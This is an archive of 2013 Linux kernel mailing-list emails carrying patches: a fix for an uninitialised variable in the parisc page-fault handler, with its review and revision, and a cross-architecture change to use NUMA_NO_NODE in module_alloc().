Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VNtwQ-0006JA-8c
	for glk-linux-kernel-3@plane.gmane.org; Mon, 23 Sep 2013 02:23:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752924Ab3IWAXu (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 22 Sep 2013 20:23:50 -0400
Original-Received: from mail-la0-f53.google.com ([209.85.215.53]:51373 "EHLO
	mail-la0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752354Ab3IWAXb (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 22 Sep 2013 20:23:31 -0400
Original-Received: by mail-la0-f53.google.com with SMTP id el20so1935226lab.26
        for <multiple recipients>; Sun, 22 Sep 2013 17:23:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=E92A23P4YeFmI+NVhVUT737gXNByDvSDjvUVHo4VSJ0=;
        b=V1IjO1xcKVvRLIjMHs8lsKex9auN8a2J/9VBbuXjhW3S7eynqVDOnbIv7y3tkHMT7r
         RBPzbm2FO0j+9yiBQbQrgW1wGq31SAPQbeONWnMqf2/NLZ4evjq/44k8M1tpxm7900e0
         p6Z7osNnXwnBNWIi+SqIsy0A1OtlvpIwwkCqj2cFvkOiS0TQV0mhTOWzx1h3l8IMWbvk
         6udTGqcWrvIcZcVVC4INq8PF501jmk9jwmwSBq30SgraumoVGHaGehiMef0UoFZyPQKF
         dAImIu7YAhTlAkCnCrwELDyvAlFqDuVqC9wxPFXnlyi6Ho3MwUS/aTpMvvgzEEuvCrdZ
         Nk5Q==
X-Received: by 10.152.8.115 with SMTP id q19mr17905119laa.16.1379895809593;
 Sun, 22 Sep 2013 17:23:29 -0700 (PDT)
Original-Received: by 10.112.202.228 with HTTP; Sun, 22 Sep 2013 17:23:09 -0700 (PDT)
In-Reply-To: <20130922225809.GL856@cmpxchg.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1565418 gmane.linux.ports.parisc:5335
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1565418>

Hello Johannes,

On Sun, Sep 22, 2013 at 7:58 PM, Johannes Weiner <hannes@cmpxchg.org> wrote:
> Hello Felipe,
>
> On Sun, Sep 22, 2013 at 03:17:46PM -0300, Felipe Pena wrote:
>> The FAULT_FLAG_WRITE flag has been set based on uninitialized variable
>
> Oops, you are right.
>
>> Signed-off-by: Felipe Pena <felipensp@gmail.com>
>> ---
>>  arch/parisc/mm/fault.c |    5 +++--
>>  1 file changed, 3 insertions(+), 2 deletions(-)
>>
>> diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
>> index d10d27a..6b38026 100644
>> --- a/arch/parisc/mm/fault.c
>> +++ b/arch/parisc/mm/fault.c
>> @@ -182,8 +182,6 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
>>
>>       if (user_mode(regs))
>>               flags |= FAULT_FLAG_USER;
>> -     if (acc_type & VM_WRITE)
>> -             flags |= FAULT_FLAG_WRITE;
>>  retry:
>>       down_read(&mm->mmap_sem);
>>       vma = find_vma_prev(mm, address, &prev_vma);
>> @@ -201,6 +199,9 @@ good_area:
>>       if ((vma->vm_flags & acc_type) != acc_type)
>>               goto bad_area;
>>
>> +     if (acc_type & VM_WRITE)
>> +             flags |= FAULT_FLAG_WRITE;
>
> Can acc_type actually change between between the first round and a
> retry?  Otherwise, it might make sense to pull this up and place it
> next to the flag initialization instead of pulling one flag down.

>From what I've analyzed, this make sense. I'll make the suggested
changes and send another patch.

Thanks.

-- 
Regards,
Felipe Pena

From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Felipe Pena <felipensp@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCHv2 1/1] arch/parisc: mm: fix uninitialized variable usage
Date: Sun, 22 Sep 2013 22:24:10 -0300
Lines: 26
Approved: news@gmane.org
Message-ID: <1379899450-27552-1-git-send-email-felipensp@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1379899475 18313 80.91.229.3 (23 Sep 2013 01:24:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Sep 2013 01:24:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Felipe Pena <felipensp@gmail.com>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Michal Hocko <mhocko@suse.cz>,
	Johannes Weiner <hannes@cmpxchg.org>,
	Kautuk Consul <consul.kautuk@gmail.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 23 03:24:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VNut9-0003qD-T7
	for glpp-linux-parisc@plane.gmane.org; Mon, 23 Sep 2013 03:24:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752872Ab3IWBYN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Sep 2013 21:24:13 -0400
Original-Received: from mail-yh0-f52.google.com ([209.85.213.52]:54812 "EHLO
	mail-yh0-f52.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752611Ab3IWBYM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Sep 2013 21:24:12 -0400
Original-Received: by mail-yh0-f52.google.com with SMTP id v1so1063813yhn.25
        for <multiple recipients>; Sun, 22 Sep 2013 18:24:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=EV3ehThmhOHGZ/u/AJuWJrYc2OpBTb9roUqywExbadg=;
        b=txfbjtT70X3CRFgwbTeqBkKydA5I1Riw/8B1WV+l12rgcShunXC0cFv5WPlF0HuQTL
         kYOUAN8OZjvA4tzZCMKdkDpbOm5h8AdAMvEXGmDxOiKrPGZS5swtL8L7sUBzSSxRYWec
         mYcCIZIVmJghC3enzfIhcplF5siM3xwHFDoGuUcdrKgdHhxLDWc6vd1bE1CK7TvUvSNl
         ivIz/a6lphyOu0w2LPjN+c1dBlryd194UBlBhU5tWG2oEMj330RmyR2uMx3Mc9UqwDbE
         ZcEu8FuJVxi48nHeoFDWRJrSUcnUuu+CvMT2oNOuxL4OEeM1ASrzMjNR+UJIakP9FS4B
         IjnA==
X-Received: by 10.236.54.232 with SMTP id i68mr21021161yhc.0.1379899452231;
        Sun, 22 Sep 2013 18:24:12 -0700 (PDT)
Original-Received: from localhost.localdomain (189-105-138-142.user.veloxzone.com.br. [189.105.138.142])
        by mx.google.com with ESMTPSA id g25sm33740276yhg.6.1969.12.31.16.00.00
        (version=TLSv1.2 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sun, 22 Sep 2013 18:24:11 -0700 (PDT)
X-Mailer: git-send-email 1.7.10.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5336 gmane.linux.kernel:1565424
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5336>

The FAULT_FLAG_WRITE flag has been set based on uninitialized variable

Signed-off-by: Felipe Pena <felipensp@gmail.com>
---
 arch/parisc/mm/fault.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index d10d27a..00c0ed3 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -182,6 +182,9 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 
 	if (user_mode(regs))
 		flags |= FAULT_FLAG_USER;
+
+	acc_type = parisc_acctyp(code, regs->iir);
+
 	if (acc_type & VM_WRITE)
 		flags |= FAULT_FLAG_WRITE;
 retry:
@@ -196,8 +199,6 @@ retry:
 
 good_area:
 
-	acc_type = parisc_acctyp(code,regs->iir);

From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jianguo Wu <wujianguo@huawei.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [Resend with ACK][PATCH] mm/arch: use NUMA_NODE
Date: Mon, 23 Sep 2013 18:37:04 +0800
Lines: 111
Approved: news@gmane.org
Message-ID: <524019D0.9070706@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1379932742 20650 80.91.229.3 (23 Sep 2013 10:39:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Sep 2013 10:39:02 +0000 (UTC)
Cc: Ralf Baechle <ralf@linux-mips.org>,
        David Rientjes <rientjes@google.com>, <linux-mm@kvack.org>,
        <linux-kernel@vger.kernel.org>,
        <linux-arm-kernel@lists.infradead.org>,
        <linux-mips@linux-mips.org>, <linux-parisc@vger.kernel.org>,
        <linux-s390@vger.kernel.org>, <sparclinux@vger.kernel.org>,
        <x86@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Sep 23 12:39:04 2013
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1VO3Xk-0001qR-2f
	for sgi-linux-mips@gmane.org; Mon, 23 Sep 2013 12:39:04 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:38840 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6824283Ab3IWKi6f6LRd (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 23 Sep 2013 12:38:58 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 23 Sep 2013 12:38:42 +0200 (CEST)
Original-Received: from szxga02-in.huawei.com ([119.145.14.65]:64485 "EHLO
        szxga02-in.huawei.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6819540Ab3IWKiiH8QMa (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 23 Sep 2013 12:38:38 +0200
Original-Received: from 172.24.2.119 (EHLO szxeml212-edg.china.huawei.com) ([172.24.2.119])
        by szxrg02-dlp.huawei.com (MOS 4.3.4-GA FastPath queued)
        with ESMTP id BIF03828;
        Mon, 23 Sep 2013 18:37:21 +0800 (CST)
Original-Received: from SZXEML416-HUB.china.huawei.com (10.82.67.155) by
 szxeml212-edg.china.huawei.com (172.24.2.181) with Microsoft SMTP Server
 (TLS) id 14.3.146.0; Mon, 23 Sep 2013 18:37:14 +0800
Original-Received: from [127.0.0.1] (10.135.74.216) by szxeml416-hub.china.huawei.com
 (10.82.67.155) with Microsoft SMTP Server id 14.3.146.0; Mon, 23 Sep 2013
 18:37:09 +0800
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
X-Originating-IP: [10.135.74.216]
X-CFilter-Loop: Reflected
X-archive-position: 37925
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: wujianguo@huawei.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:39057 gmane.linux.kernel.mm:107108 gmane.linux.kernel:1565639 gmane.linux.ports.arm.kernel:268329 gmane.linux.ports.parisc:5337 gmane.linux.ports.sparc:18238
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/39057>

Use more appropriate NUMA_NO_NODE instead of -1 in all archs' module_alloc()

Signed-off-by: Jianguo Wu <wujianguo@huawei.com>
Acked-by: Ralf Baechle <ralf@linux-mips.org>
---
 arch/arm/kernel/module.c    |    2 +-
 arch/arm64/kernel/module.c  |    2 +-
 arch/mips/kernel/module.c   |    2 +-
 arch/parisc/kernel/module.c |    2 +-
 arch/s390/kernel/module.c   |    2 +-
 arch/sparc/kernel/module.c  |    2 +-
 arch/x86/kernel/module.c    |    2 +-
 7 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/arch/arm/kernel/module.c b/arch/arm/kernel/module.c
index 85c3fb6..8f4cff3 100644
--- a/arch/arm/kernel/module.c
+++ b/arch/arm/kernel/module.c
@@ -40,7 +40,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL_EXEC, -1,
+				GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/arm64/kernel/module.c b/arch/arm64/kernel/module.c
index ca0e3d5..8f898bd 100644
--- a/arch/arm64/kernel/module.c
+++ b/arch/arm64/kernel/module.c
@@ -29,7 +29,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL_EXEC, -1,
+				    GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/arch/mips/kernel/module.c b/arch/mips/kernel/module.c
index 977a623..b507e07 100644
--- a/arch/mips/kernel/module.c
+++ b/arch/mips/kernel/module.c
@@ -46,7 +46,7 @@ static DEFINE_SPINLOCK(dbe_lock);
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULE_START, MODULE_END,
-				GFP_KERNEL, PAGE_KERNEL, -1,
+				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 2a625fb..50dfafc 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -219,7 +219,7 @@ void *module_alloc(unsigned long size)
 	 * init_data correctly */
 	return __vmalloc_node_range(size, 1, VMALLOC_START, VMALLOC_END,
 				    GFP_KERNEL | __GFP_HIGHMEM,
-				    PAGE_KERNEL_RWX, -1,
+				    PAGE_KERNEL_RWX, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/arch/s390/kernel/module.c b/arch/s390/kernel/module.c
index 7845e15..b89b591 100644
--- a/arch/s390/kernel/module.c
+++ b/arch/s390/kernel/module.c
@@ -50,7 +50,7 @@ void *module_alloc(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL, -1,
+				    GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 #endif
diff --git a/arch/sparc/kernel/module.c b/arch/sparc/kernel/module.c
index 4435488..97655e0 100644
--- a/arch/sparc/kernel/module.c
+++ b/arch/sparc/kernel/module.c
@@ -29,7 +29,7 @@ static void *module_map(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL, -1,
+				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #else
diff --git a/arch/x86/kernel/module.c b/arch/x86/kernel/module.c
index 216a4d7..18be189 100644
--- a/arch/x86/kernel/module.c
+++ b/arch/x86/kernel/module.c
@@ -49,7 +49,7 @@ void *module_alloc(unsigned long size)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
 				GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
-				-1, __builtin_return_address(0));
+				NUMA_NO_NODE, __builtin_return_address(0));
 }
 
 #ifdef CONFIG_X86_32
-- 
1.7.1





From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jianguo Wu <wujianguo@huawei.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.sparc,gmane.linux.ports.parisc
Subject: [Resend with ACK][PATCH] mm/arch: use NUMA_NO_NODE
Date: Mon, 23 Sep 2013 18:40:50 +0800
Lines: 111
Approved: news@gmane.org
Message-ID: <52401AB2.8000605@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1379933040 23665 80.91.229.3 (23 Sep 2013 10:44:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Sep 2013 10:44:00 +0000 (UTC)
Cc: Ralf Baechle <ralf@linux-mips.org>, <linux-mm@kvack.org>,
        <linux-kernel@vger.kernel.org>,
        David Rientjes <rientjes@google.com>,
        <linux-arm-kernel@lists.infradead.org>,
        <linux-mips@linux-mips.org>, <linux-s390@vger.kernel.org>,
        <sparclinux@vger.kernel.org>, <x86@kernel.org>,
        <linux-parisc@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Sep 23 12:44:00 2013
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1VO3cV-0003kw-7K
	for sgi-linux-mips@gmane.org; Mon, 23 Sep 2013 12:43:59 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:38868 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6824756Ab3IWKn6imZWH (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 23 Sep 2013 12:43:58 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 23 Sep 2013 12:43:43 +0200 (CEST)
Original-Received: from szxga02-in.huawei.com ([119.145.14.65]:36812 "EHLO
        szxga02-in.huawei.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6819540Ab3IWKne5Lv1d (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 23 Sep 2013 12:43:34 +0200
Original-Received: from 172.24.2.119 (EHLO szxeml210-edg.china.huawei.com) ([172.24.2.119])
        by szxrg02-dlp.huawei.com (MOS 4.3.4-GA FastPath queued)
        with ESMTP id BIF04338;
        Mon, 23 Sep 2013 18:43:07 +0800 (CST)
Original-Received: from SZXEML413-HUB.china.huawei.com (10.82.67.152) by
 szxeml210-edg.china.huawei.com (172.24.2.183) with Microsoft SMTP Server
 (TLS) id 14.3.146.0; Mon, 23 Sep 2013 18:40:56 +0800
Original-Received: from [127.0.0.1] (10.135.74.216) by szxeml413-hub.china.huawei.com
 (10.82.67.152) with Microsoft SMTP Server id 14.3.146.0; Mon, 23 Sep 2013
 18:40:51 +0800
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
X-Originating-IP: [10.135.74.216]
X-CFilter-Loop: Reflected
X-archive-position: 37926
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: wujianguo@huawei.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:39058 gmane.linux.kernel.mm:107109 gmane.linux.kernel:1565643 gmane.linux.ports.arm.kernel:268330 gmane.linux.ports.sparc:18239 gmane.linux.ports.parisc:5338
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/39058>

Use more appropriate NUMA_NO_NODE instead of -1 in all archs' module_alloc()

Signed-off-by: Jianguo Wu <wujianguo@huawei.com>
Acked-by: Ralf Baechle <ralf@linux-mips.org>
---
 arch/arm/kernel/module.c    |    2 +-
 arch/arm64/kernel/module.c  |    2 +-
 arch/mips/kernel/module.c   |    2 +-
 arch/parisc/kernel/module.c |    2 +-
 arch/s390/kernel/module.c   |    2 +-
 arch/sparc/kernel/module.c  |    2 +-
 arch/x86/kernel/module.c    |    2 +-
 7 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/arch/arm/kernel/module.c b/arch/arm/kernel/module.c
index 85c3fb6..8f4cff3 100644
--- a/arch/arm/kernel/module.c
+++ b/arch/arm/kernel/module.c
@@ -40,7 +40,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL_EXEC, -1,
+				GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/arm64/kernel/module.c b/arch/arm64/kernel/module.c
index ca0e3d5..8f898bd 100644
--- a/arch/arm64/kernel/module.c
+++ b/arch/arm64/kernel/module.c
@@ -29,7 +29,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL_EXEC, -1,
+				    GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/arch/mips/kernel/module.c b/arch/mips/kernel/module.c
index 977a623..b507e07 100644
--- a/arch/mips/kernel/module.c
+++ b/arch/mips/kernel/module.c
@@ -46,7 +46,7 @@ static DEFINE_SPINLOCK(dbe_lock);
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULE_START, MODULE_END,
-				GFP_KERNEL, PAGE_KERNEL, -1,
+				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 2a625fb..50dfafc 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -219,7 +219,7 @@ void *module_alloc(unsigned long size)
 	 * init_data correctly */
 	return __vmalloc_node_range(size, 1, VMALLOC_START, VMALLOC_END,
 				    GFP_KERNEL | __GFP_HIGHMEM,
-				    PAGE_KERNEL_RWX, -1,
+				    PAGE_KERNEL_RWX, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/arch/s390/kernel/module.c b/arch/s390/kernel/module.c
index 7845e15..b89b591 100644
--- a/arch/s390/kernel/module.c
+++ b/arch/s390/kernel/module.c
@@ -50,7 +50,7 @@ void *module_alloc(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL, -1,
+				    GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 #endif
diff --git a/arch/sparc/kernel/module.c b/arch/sparc/kernel/module.c
index 4435488..97655e0 100644
--- a/arch/sparc/kernel/module.c
+++ b/arch/sparc/kernel/module.c
@@ -29,7 +29,7 @@ static void *module_map(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL, -1,
+				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #else
diff --git a/arch/x86/kernel/module.c b/arch/x86/kernel/module.c
index 216a4d7..18be189 100644
--- a/arch/x86/kernel/module.c
+++ b/arch/x86/kernel/module.c
@@ -49,7 +49,7 @@ void *module_alloc(unsigned long size)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
 				GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
-				-1, __builtin_return_address(0));
+				NUMA_NO_NODE, __builtin_return_address(0));
 }
 
 #ifdef CONFIG_X86_32
-- 
1.7.1





From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [Resend with ACK][PATCH] mm/arch: use NUMA_NODE
Date: Tue, 24 Sep 2013 19:35:29 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.02.1309241935190.26187@chino.kir.corp.google.com>
References: <524019D0.9070706@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1380076536 10170 80.91.229.3 (25 Sep 2013 02:35:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Sep 2013 02:35:36 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>, 
    Ralf Baechle <ralf@linux-mips.org>, linux-mm@kvack.org, 
    linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org, 
    linux-mips@linux-mips.org, linux-parisc@vger.kernel.org, 
    linux-s390@vger.kernel.org, sparclinux@vger.kernel.org, x86@kernel.org
To: Jianguo Wu <wujianguo@huawei.com>
Original-X-From: owner-linux-mm@kvack.org Wed Sep 25 04:35:38 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1VOewx-0007py-MW
	for glkm-linux-mm-2@m.gmane.org; Wed, 25 Sep 2013 04:35:35 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id F14A36B0033; Tue, 24 Sep 2013 22:35:34 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E96CF6B0034; Tue, 24 Sep 2013 22:35:34 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id CC55C6B0036; Tue, 24 Sep 2013 22:35:34 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pb0-f48.google.com (mail-pb0-f48.google.com [209.85.160.48])
	by kanga.kvack.org (Postfix) with ESMTP id 99C246B0033
	for <linux-mm@kvack.org>; Tue, 24 Sep 2013 22:35:34 -0400 (EDT)
